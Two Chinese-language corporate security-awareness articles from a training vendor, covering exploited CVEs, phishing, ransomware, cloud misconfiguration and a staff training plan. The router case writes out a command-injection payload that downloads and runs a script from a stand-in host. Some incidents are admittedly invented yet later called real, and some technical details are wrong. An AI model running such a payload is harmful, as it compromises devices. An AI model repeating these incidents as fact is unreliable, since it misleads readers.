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网络安全防线：从真实案例看信息安全意识的至关重要

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“防微杜渐，未雨绸缪。”——《三国演义》
在数字化、自动化、具身智能化迅猛发展的今天，信息安全已经不再是技术团队的专属任务，而是每一位职工的必备素养。下面我们先用头脑风暴的方式，挑选出三起典型且富有教育意义的网络安全事件，帮助大家在案例中看到“黑客的脚步有多快、漏洞的危害有多大”，从而激发对信息安全的迫切关注。

一、案例一：Samsung MagicINFO 9 Server 路径穿越（CVE‑2024‑7399）被快速利用

背景
Samsung 在 2024 年 8 月发布了 MagicINFO 9 Server 内容管理系统（CMS），用于数字标牌、公共显示等场景。该系统在企业内部网络中往往拥有极高的权限，因为它需要直接写入显示设备的配置文件，甚至可以控制系统级服务。

漏洞概述
CVE‑2024‑7399 为路径穿越（Path Traversal）漏洞，攻击者无需认证即可通过特制请求将任意 JSP 文件写入服务器的 webroot 目录，实现代码执行。CVSS 评分高达 8.8，属于“高危”级别。

利用链
2025 年 5 月，Arctic Wolf 研究员监测到针对该漏洞的 PoC（概念验证）代码在 GitHub 上公开。仅两天后，多个攻击组织（包括某“黑色小组”）便利用该 PoC 发起大规模攻击：
1. 构造特殊的 URL 参数，突破目录限制，将恶意 JSP 上传至 /WEB-INF/ 目录；
2. 通过 JSP 触发系统命令，下载并执行后门木马；
3. 用后门在内部网络横向移动，获取 Active Directory 凭据，最终渗透至企业核心业务系统。

影响
据公开报告，仅在美国某连锁超市的数字标牌系统中，就有超过 300 台设备被植入后门，导致网络摄像头画面被窃取、交易数据被篡改。损失估计在数百万美元，且对品牌形象造成不可逆的损害。

教训
– 及时打补丁：该厂商已在 2024 年 8 月发布补丁（21.1050），但许多企业因缺乏资产清单或补丁管理流程，仍在使用旧版。
– 最小化权限：CMS 服务器不应以系统管理员身份运行，建议采用容器化部署并限制文件系统写权限。
– 检测异常：对关键目录的写入操作应启用实时监控，一旦出现异常文件立即告警。

二、案例二：SimpleHelp 授权缺陷（CVE‑2024‑57726）与 Zip Slip（CVE‑2024‑57728）双剑合璧

背景
SimpleHelp 是一款远程支持软件，广泛用于 IT 运维、客服中心等场景。它通过 API 让技术人员远程控制终端、上传文件、执行脚本。

漏洞概述
– CVE‑2024‑57726（授权缺陷）：低权限技术人员可以通过特定 API 生成具备管理员权限的 API 密钥，进而获取全局管理权限。CVSS 评分 9.9，属于“极危”。
– CVE‑2024‑57728（路径穿越/Zip Slip）：在上传压缩包时未校验路径信息，攻击者可构造含 ../../ 的文件路径，将恶意文件解压到任意位置，导致代码执行。CVSS 评分 7.2。

利用链
2025 年某大型连锁银行的客服中心使用 SimpleHelp 进行远程协助。攻击者先通过社交工程获取一名普通技术员的 API 秘钥（通过钓鱼邮件），随后利用 CVE‑2024‑57726 创建管理员级别的密钥；随后用该密钥调用文件上传接口，上传带有 Zip Slip 漏洞的压缩包，将后门脚本写入系统根目录。最终，攻击者通过后门访问银行内部网络，获取客户账户信息。

影响
此事件导致约 12 万条客户敏感信息泄露，银行被监管机构处罚并面临巨额赔偿。更糟糕的是，攻击链中利用了两个不同的漏洞，说明单一漏洞防护不足以确保安全。

教训
– API 权限分层：对每个 API 调用进行最小权限审计，禁止普通用户生成高权限凭证。
– 文件上传防护：对上传的压缩包进行路径清洗（如删除 ../），或使用白名单方式限制解压路径。
– 安全培训：技术人员对 API 密钥的管理意识薄弱，仅靠技术手段难以根除，需要加强安全意识培训。

背景
D‑Link DIR‑823X 是一款面向家庭和小型办公室的无线路由器，内置了丰富的管理界面和 API，便于用户远程配置网络。由于其硬件成本低、固件更新频率低，长期被黑客视为“肥肉”。

漏洞概述
CVE‑2025‑29635 为命令注入漏洞，攻击者在某 POST 请求的参数中注入 ; 分号，导致路由器执行任意系统命令。CVSS 评分 8.3。

利用链
2026 年 2 月，Akamai 研究团队发布报告称，Mirai 变种已开始利用该漏洞进行大规模传播。攻击步骤如下：
1. 扫描互联网公开的 192.168.1.1/24 子网，定位运行旧版 DIR‑823X 固件的路由器；
2. 发送特制的 POST 请求，注入 wget http://malicious.com/bot.sh -O - | sh，直接在路由器上下载并执行恶意脚本；
3. 恶意脚本将路由器加入新型 botnet，用于发起 DDoS、内部网络探测等攻击。

影响
仅在欧洲某城市的住宅小区，就有超过 5 万台路由器被植入 botnet，导致当地互联网服务提供商（ISP）出现频繁的网络拥塞，部分企业业务被迫中断。更甚者，黑客利用被控制的路由器对内部企业网络进行端口扫描，发现大量未打补丁的内部应用服务器。

教训
– 固件更新自动化：企业应对所有网络设备实行集中管理，统一推送安全补丁。
– 默认密码清理：许多路由器出厂默认密码未更改，即成为攻击者的突破口。
– 异常流量监控：对出站流量进行行为分析，一旦出现异常的大规模并发请求，应及时阻断并排查。

四、从案例中抽象出的共性危机

案例 共性风险点
Samsung MagicINFO 未及时打补丁、高权限服务曝光
SimpleHelp 授权失控、文件上传安全缺失
D‑Link DIR‑823X 固件更新滞后、默认凭证未改

这三起事件跨越企业级 CMS、远程支持工具、家庭/办公路由器，涵盖了 软件漏洞、配置失误、供应链安全 三大类。它们的共同点在于：漏洞本身易于利用，且人因因素（如缺乏及时更新、权限管理不严、员工安全意识薄弱）是放大风险的关键。正因如此，信息安全已经进入了 “技术+人” 的复合防御时代。

五、数字化、自动化、具身智能化的融合趋势对信息安全的冲击

1. 数字化——数据资产的指数级增长

在企业数字化转型的浪潮中，业务系统、ERP、CRM、IoT 设备等产生的结构化与非结构化数据正以指数级增长。数据本身成为资产，也是攻击者觊觎的目标。
> “金子总会被偷”。在大数据平台上，一次未经授权的查询泄露，往往会导致上百万条用户信息外泄。

2. 自动化——安全运营的“双刃剑”

安全运营中心（SOC）正通过 SOAR（Security Orchestration, Automation and Response）实现 自动化响应，但自动化同样会被攻击者利用：
– 自动化攻击脚本：如 Mirai 通过自动化扫描、注入实现快速传播。
– 配置脚本误用：若 CI/CD 流水线未做安全审计，恶意代码可能随同合法更新一起进入生产环境。

3. 具身智能化——AI 与实体的深度融合

具身智能化（Embodied AI）是指 AI 嵌入机器人、无人机、智能终端等实体设备，实现感知、决策与执行的闭环。它带来了以下安全隐患：
– 模型供给链攻击：攻击者在模型训练阶段植入后门，一旦部署到机器人即触发异常行为。
– 物理攻击面：智能摄像头、门禁系统被植入恶意固件，直接影响物理安全。

4. 复合风险的叠加效应

当 数字化、自动化、具身智能化 同时作用时，风险呈几何级增长。例如，智能工厂的 PLC（可编程逻辑控制器）若通过未加密的 API 与云平台交互，一旦云端账号被窃取，攻击者即可远程修改生产线参数，导致 “信息安全事件”直接转化为“工业安全事故”。

六、信息安全意识培训：从“被动防御”到“主动防护”

1. 培训的必要性

  • 法规要求：美国 CISA 已将 KEV（已知被利用漏洞）列入 BOD 22‑01，要求联邦机构在 2026 年 5 月 8 日前完成整改。中国《网络安全法》亦要求企业定期开展安全培训。
  • 风险降低：据 Verizon 2024 数据泄露报告显示，90% 的安全事件与“人为因素”相关，提升员工安全意识可将风险降低 30%‑50%。
  • 业务连续性：安全事故往往导致系统停机、业务中断，而培训能让员工在第一时间识别并上报异常，缩短恢复时间（MTTR）。

2. 培训的目标体系

维度 具体目标
认知层 了解常见攻击手法（钓鱼、社会工程、漏洞利用）及其危害
技能层 熟练使用密码管理器、双因素认证、终端安全工具
行为层 在日常工作中形成“安全第一”的习惯，如及时更新补丁、审计权限、报告异常
文化层 构建“安全共享”氛围，鼓励跨部门合作、信息共享

3. 培训内容设计（结合案例）

模块 内容 案例对应
网络钓鱼与社交工程 通过邮件/即时通讯进行欺骗，引诱员工泄露凭据 SimpleHelp API 密钥泄露
漏洞管理与补丁策略 漏洞扫描、风险评估、补丁测试与部署流程 Samsung MagicINFO 补丁滞后
设备安全与固件管理 路由器、摄像头、IoT 设备的安全配置 D‑Link DIR‑823X 命令注入
安全编码与文件上传防护 防止 Zip Slip、路径遍历等常见漏洞 SimpleHelp Zip Slip
自动化安全治理 SOAR 工作流设计、日志审计、异常检测 Mirai 自动化传播
AI 供应链安全 模型审计、对抗样本防护、可信计算 具身智能化潜在风险

4. 培训方式与落地点

  1. 线上微课程：每期 15 分钟，利用企业内部 LMS（学习管理系统）发布，可随时学习。
  2. 情景演练（Red‑Blue）：将真实案例改编为模拟攻防演练，提升实战感受。
  3. 桌面演练：在受控环境中让员工亲手尝试恶意文件上传、命令注入等，帮助其“感受”漏洞危害。
  4. 安全闯关赛：通过答题、实操闯关获得积分，设立 “安全之星” 奖项，激发竞争兴趣。
  5. 月度安全简报：结合最新威胁情报，发送图文并茂的安全要闻，保持警惕。

5. 培训效果评估

  • 前测/后测：通过问卷了解员工对威胁的认知水平，培训后再测，观察知识提升率。
  • 行为指标：监控关键行为（如密码更换频率、补丁部署及时率、异常报告次数）。
  • 事件响应时间：记录从异常发现到上报的平均时长，目标是 下降 30%。
  • 安全文化指数：通过匿名调查评估员工对安全的主观感受与参与度。

七、行动呼吁：让每一位职工成为信息安全的守护者

“千里之堤，溃于蚁穴。”
当我们在高楼大厦中使用云盘、协同工具时，最薄弱的环节往往是 人的一时疏忽。从今天起，请每位同事把以下三件事内化为日常工作的一部分：

  1. 每日检查：登录公司 VPN、云平台或内部系统前，确保使用强密码、双因素认证，并检查安全补丁状态。
  2. 见怪不怪：收到陌生邮件或链接时，先思考“这是谁发来的？”、“是否符合业务需求？”再决定是否打开。
  3. 及时上报：发现可疑文件、异常网络流量或系统异常时，第一时间在内部安全平台提交工单，不要自行“解决”。

在即将开启的 信息安全意识培训活动 中，我们将围绕上述三大案例展开深度剖析，让大家在真实情境中感受风险、学会防御。请务必在本周五前完成报名，届时培训中心将提供茶歇、精美纪念册以及“安全达人”证书，激励大家把安全理念落到实处。

“安天下者，先安心；安心者，先安行。”
让我们携手共建安全、可信、可持续的数字化未来！

共同守护，信息安全，从我做起！

昆明亭长朗然科技有限公司致力于推动企业信息安全意识的提升，通过量身定制的培训方案来应对不同行业需求。我们相信教育是防范信息泄露和风险的重要一环。感兴趣的客户可以随时联系我们，了解更多关于培训项目的细节，并探索潜在合作机会。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字疆域：从案例看信息安全的根本与未来

admin

“防微杜渐，方能筑牢堤坝。”——古语有云，万事之始常在细微。面对日益融合的数智化浪潮，信息安全不再是技术部门的独角戏，而是全体职工的共同守望。下面，我先以头脑风暴的方式，虚构三个典型而又深具教育意义的安全事件，帮助大家在真实情境中体会风险的严峻与防护的必要；随后，再把视角拉回到当下的“数据化、智能体化、具身智能化”三位一体的融合发展，号召每一位同事投身即将开启的信息安全意识培训，携手提升安全认知、知识与实操能力，真正让安全成为企业竞争力的内生动力。

一、案例一：钓鱼邮件的“皇帝新装”——商业邮件诈骗（BEC）导致巨额转账

1. 事件概述

2022 年 5 月，A 公司财务部收到一封看似来自公司 CEO 的邮件，主题为 “紧急付款指令”。邮件正文使用了 CEO 近三个月的签名档和常用语气，甚至嵌入了一张最新的公司内部会议照片，以增强真实性。邮件中附带一份 Excel 表格，表格列明了 “新项目合作方” 的银行账户信息，要求财务在 24 小时内完成 3,200 万元的预付款。

由于邮件“标题”和“内容”都符合业务需求，财务同事未进行二次核实，直接在企业网银系统中完成转账。转账成功后才发现对方账户已被注销，且联系 CEO 时发现他根本未发送此邮件。事后调查显示，攻击者利用了公开的 CEO 电子邮件地址，搭配一个与公司域名相近的钓鱼域名（如 [email protected]），并通过伪造邮件头部实现了“邮件伪造（SPF/DKIM）”的突破。

2. 安全链条解析

步骤 关键失误 防御缺口
(1) 信息收集 攻击者通过社交媒体、公开新闻稿获取 CEO 邮箱与签名档 员工未对公开信息进行风险评估
(2) 邮件伪造 利用相似域名和邮件头部伪造技术 缺少 DMARC、SPF、DKIM 完整部署
(3) 社会工程 通过紧急付款的业务场景诱导受害者 财务缺乏“双因素确认”流程
(4) 执行转账 直接在网银系统完成付款 缺少高额交易的多层审批机制

3. 教训与启示

  1. 技术与制度同等重要：再高端的防病毒、入侵检测系统也无法防止人类的“认知失误”。必须在制度层面设立“关键业务双人核对+多因素验证”“异常交易即时告警”等硬核措施。
  2. 邮件安全链路的全闭环：企业应在 DNS 层面强制部署 DMARC，提升邮件伪造的检测率；在用户侧推广使用安全邮件网关（Secure Email Gateway）对可疑域名、异常链接进行实时拦截。
  3. 培训的即时性：针对财务、采购等高风险岗位，开展“模拟钓鱼演练”，让员工亲身体验“假邮件、真风险”，形成免疫记忆。

二、案例二：勒索软件在生产车间的“隐形炸弹”——工业控制系统（ICS）被攻击导致停产

1. 事件概述

2023 年 8 月，某大型制造企业的生产线遭遇勒勒索软件 “DarkLock” 的突袭。攻击者通过企业内部的一个未打补丁的 Windows 10 终端（负责收集现场传感器数据），利用永恒之蓝（EternalBlue）漏洞横向渗透至 PLC（可编程逻辑控制器）所在的子网。由于该子网未与公司 IT 网络进行充分隔离，恶意代码在几分钟内扩散至核心控制系统，导致所有自动化设备停机。攻击者随后弹出勒索窗口，要求企业在 48 小时内支付 800 万元比特币，才能提供解密密钥。

企业在危急时刻启动应急预案，切断了受感染网络，手动恢复了部分关键工序。然而，因缺乏完整的 OT 备份与快速恢复手段，累计停产时间达 72 小时，直接经济损失约 2.5 亿元人民币，且因生产延误产生连锁供应商违约风险。

2. 安全链条解析

步骤 关键失误 防御缺口
(1) 漏洞利用 未及时对 Windows 10 终端进行安全补丁更新 OT 端点缺乏统一的补丁管理系统
(2) 网络横向 子网划分不合理，IT 与 OT 之间缺少防火墙隔离 缺少基于零信任（Zero Trust）的微分段
(3) 恶意代码执行 PLC 控制器未进行代码完整性校验 缺少对工业协议（Modbus/TCP、OPC UA）的入侵检测
(4) 恢复困难 对关键 PLC 程序未进行离线镜像备份 缺乏 OT 灾备演练与快速回滚机制

3. 教训与启示

  1. “安全补丁是最好的疫苗”：即便是生产现场的“看不见的硬件”，也必须纳入企业统一的补丁管理平台，采用自动化扫描、分批部署的方式，确保漏洞闭环。
  2. 网络分段与零信任：对 OT 环境实行严格的物理与逻辑隔离，在每条进出链路部署工业防火墙、入侵检测系统（IDS），并通过基于身份和上下文的访问控制（ZTA）降低横向移动的可能。
  3. 灾备与演练并行：对核心 PLC 程序、现场参数进行离线备份，并定期进行“红队”渗透演练，验证恢复时效；同时在应急指挥平台上构建“即时切换”方案，实现业务最小化中断。

三、案例三：云存储误配置导致的个人隐私泄露——内部数据“自曝自怜”

1. 事件概述

2024 年 2 月，B 公司人事部门在迁移员工档案至云端（使用某主流云服务商的对象存储）时，为了方便内部查询，将存储桶（Bucket）设置为 “公共读写”。该配置在内部沟通的邮件中被误解为 “对公司内部全体员工开放”，实际上却是对外部 Internet 完全开放。结果，数千名员工的身份证号、银行卡信息、家庭住址等敏感信息被搜索引擎索引，甚至被不法分子下载后用于诈骗。

公司在一次安全审计中发现异常网络流量时，才惊觉数据已泄露。事后追责发现，负责云迁移的同事在操作前未进行安全配置检查；而公司的云安全治理平台（CASB）也未启用自动配置审计功能，使得此类错误未被实时捕获。

2. 安全链条解析

步骤 关键失误 防御缺口
(1) 配置错误 将存储桶误设为公开访问 缺少基于策略的配置审计（Configuration Drift）
(2) 权限管理 采用全员共享的访问密钥，无细粒度权限 访问控制缺乏最小权限原则（Least Privilege）
(3) 监控缺失 未开启对象存储的异常访问日志 云安全审计未实现实时告警
(4) 响应迟缓 漏洞发现后未即时下线公开访问 缺乏跨部门快速响应预案

3. 教训与启示

  1. “最小权限”是云时代的铁律：任何对外部可访问的云资源，都应通过角色（IAM Role）和策略（Policy）进行细粒度控制，杜绝 “一键公开” 的便利。
  2. 配置即代码（IaC）安全审计：在使用 Terraform、Ansible 等 IaC 工具时，加入安全扫描插件（如 Checkov、tfsec），在代码提交阶段即发现误配。
  3. 实时监控与自动修复：借助 CASB 或云原生安全服务，对对象存储的 ACL、Bucket Policy 进行持续合规检测，发现异常即自动回滚或发送多渠道告警。

四、融合发展新趋势：数据化、智能体化、具身智能化的安全挑战

过去十年，信息技术的演进从“数据化”到“智能体化”，再到当下热议的 “具身智能化”——即把 AI 算法嵌入机器人、可穿戴设备、自动驾驶汽车等具备感知与动作的实体中。三者相互交织，形成了 “数·智·形” 三位一体的融合生态：

  1. 数据化：企业内部与外部产生的结构化与非结构化数据规模呈指数级增长；数据治理、隐私保护、数据质量监管成为底层基线。
  2. 智能体化：大语言模型（LLM）、生成式 AI、自动化运维（AIOps）等技术渗透业务流程，提升效率的同时，也带来模型窃取、对抗样本、AI 生成错误信息等新型风险。
  3. 具身智能化：机器人、无人机、AR/VR 设备、智能穿戴等具身终端成为数据采集与执行的前沿阵地，涉及感知隐私、操作安全、物理危害等复合风险。

在上述背景下，信息安全的防线必须 “纵向贯通、横向联动”：

  • 纵向贯通：从底层硬件（芯片安全、固件防篡改）到业务应用（零信任访问、数据脱敏），形成全栈安全；
  • 横向联动：IT 与 OT、AI 与业务、研发与合规之间的安全协同，摆脱信息孤岛，打造统一的 安全运营中心（SOC）+AI运营中心（AIOC）。

正因如此，单纯的技术加固已无法满足企业的安全需求；安全文化、员工觉悟 成为最根本的防线。

五、号召全员参与信息安全意识培训：从“被动防御”到“主动防护”

1. 培训的定位与目标

本次信息安全意识培训，围绕 “认识风险、掌握技能、形成习惯” 三大核心，划分为四大模块：

模块 内容 学习目标
(A) 基础篇 信息安全概念、常见威胁（钓鱼、勒索、内部泄露） 了解风险全景，树立危机感
(B) 实操篇 安全邮件识别、口令管理、移动设备防护、云资源配置审计 掌握日常防护的标准操作流程
(C) 前沿篇 AI 助力安全、零信任模型、具身智能安全要点 适应数智融合的新环境
(D) 案例复盘 真实企业案例剖析、红蓝对抗演练 用案例强化记忆、提升应急反应

每位同事都将获得 “信息安全微认证”，通过考核后可在公司内部系统中获得相应的电子徽章，彰显安全素养。

2. 培训方式与互动体验

  • 线上自学 + 线下工作坊：线上课程采用微课、动画、情景剧的形式，最大化碎片化学习；线下工作坊邀请资深安全专家、行业红队进行现场演示与答疑。
  • “情景演练”沉浸式：利用 AR/VR 技术搭建 “安全实验室”，让员工置身于模拟的网络攻防场景，亲自体验钓鱼邮件的辨识、勒索病毒的隔离、云配置的审计。
  • 竞赛激励：设立 “信息安全挑战赛”，积分榜前十的团队将获得公司内部资源优先使用权或专项奖励，激发团队协作与竞争精神。
  • 持续评估：培训结束后，每季度进行一次“小测”，并结合日常行为监控数据（如异常登录、文件加密）进行精准反馈，形成闭环改进。

3. 为什么每个人都不可或缺

  • 技术属性的平移：随着 AI 生成内容渗透到邮件、文档、会议记录，任何一位员工的轻率点击，都可能放大攻击面。
  • 数据即资产：每条业务数据背后都有客户信任、合规要求与商业价值，泄露后果可能是 巨额罚款（GDPR、PIPL） 与品牌毁灭。
  • 具身终端的“无形入口”：智能穿戴、车载系统、机器人等设备日益融入工作场景，一旦被植入后门，攻击者可直接控制物理设备，危害不可估量。

正如《孙子兵法》所云：“兵贵神速”，在信息安全的世界里，“速” 不仅指攻击速度，也指防御响应的即时性。唯有全员警觉、快速响应，才能在危机来临前完成 “先发制人” 的防御。

六、结语：让安全成为企业竞争的软实力

信息安全不再是“Hacker vs. IT 部门”的零和游戏，而是 “全员共筑、持续演练、深耕文化” 的系统工程。我们已经从三个真实案例中看到了 “技术漏洞、制度缺失、人员失误” 的交叉叠加如何让企业付出沉重代价；也从融合发展趋势中洞见到 “数·智·形” 共同构筑的全新威胁空间。

因此，我在此郑重呼吁：

  1. 每位同事，请在本月内完成信息安全意识培训的第一阶段，让安全知识成为日常工作的一部分；
  2. 各部门负责人，请在团队例会上分享案例复盘，推动“零信任、最小权限、持续审计”落地执行；
  3. 公司管理层，请将信息安全预算视作业务增长的必备支出，持续投入技术升级与人才培养，让安全与创新同行。

让我们以 “防微杜渐，砥砺前行” 的姿态，携手守护企业的数字疆域，确保每一次创新都在安全的护城河之内顺利航行。

“千里之堤，溃于蚁穴。”让我们从今天的每一次点击、每一次配置、每一次沟通，做那堵住蚂蚁的堤坝，让信息安全成为公司可持续发展的基石。

昆明亭长朗然科技有限公司提供一站式信息安全咨询服务，团队经验丰富、专业素养高。我们为企业定制化的方案能够有效减轻风险并增强内部防御能力。希望与我们合作的客户可以随时来电或发邮件。

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